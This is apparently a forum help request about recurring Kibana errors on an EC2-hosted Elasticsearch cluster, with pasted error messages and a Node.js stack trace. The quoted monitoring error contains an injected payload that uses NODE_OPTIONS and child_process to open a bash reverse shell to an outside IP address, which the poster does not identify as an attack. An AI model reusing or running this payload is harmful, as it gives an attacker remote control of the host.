I have 2 clusters of ES + Kibana running, but only 1 of the cluster has problems.
Each cluster consists of 2Master, 2Data, 2 Client, and 1 Kibana. All running on EC2 (without docker or k8s)
After restarting the kibana, it will work for a while before it errors again.
Both dev tools and monitoring are not usable.
If I try to look at nodes of my ES, this error comes up
[illegal_argument_exception] failed to parse [NaNs], with { env={ AAAA="require(\"child_process\").exec(\"if [ ! -f /tmp/opwsqfah ];then touch /tmp/opwsqfah && /bin/bash -c '/bin/bash -i >& /dev/tcp/185.161.70.34/1111 0>&1'; fi\");process.exit()//" & NODE_OPTIONS="--require /proc/self/environ" } }: Check the Elasticsearch Monitoring cluster network connection or the load level of the nodes.
If I try to query something from Dev Tool, this comes up.
Debug: internal, implementation, error
Error: Uncaught error: Expected originalHeaders to be an object, but object given
at setHeaders (/usr/share/kibana/src/core_plugins/elasticsearch/lib/set_headers.js:32:11)
at getConfigForReq (/usr/share/kibana/src/core_plugins/console/index.js:91:53)
at handler (/usr/share/kibana/src/core_plugins/console/server/proxy_route.js:113:11)
at Object.internals.handler (/usr/share/kibana/node_modules/hapi/lib/handler.js:96:36)
at Items.serial (/usr/share/kibana/node_modules/hapi/lib/handler.js:63:26)
at done (/usr/share/kibana/node_modules/items/lib/index.js:31:25)
at done (/usr/share/kibana/node_modules/items/lib/index.js:63:25)
at pre (/usr/share/kibana/node_modules/hapi/lib/handler.js:52:24)
at finalize (/usr/share/kibana/node_modules/hapi/lib/handler.js:281:20)
at wrapped (/usr/share/kibana/node_modules/hoek/lib/index.js:879:20)
at module.exports.internals.Response.internals.Response._processPrepare (/usr/share/kibana/node_modules/hapi/lib/response.js:521:16)
at module.exports.internals.Response.internals.Response._prepare (/usr/share/kibana/node_modules/hapi/lib/response.js:460:21)
at process.nextTick (/usr/share/kibana/node_modules/hapi/lib/reply.js:152:22)
at _combinedTickCallback (internal/process/next_tick.js:131:7)
at process._tickDomainCallback (internal/process/next_tick.js:218:9)
I tried querying individually to my elasticsearch servers without kibana and it worked fine.
I believe there was another post regarding the same error.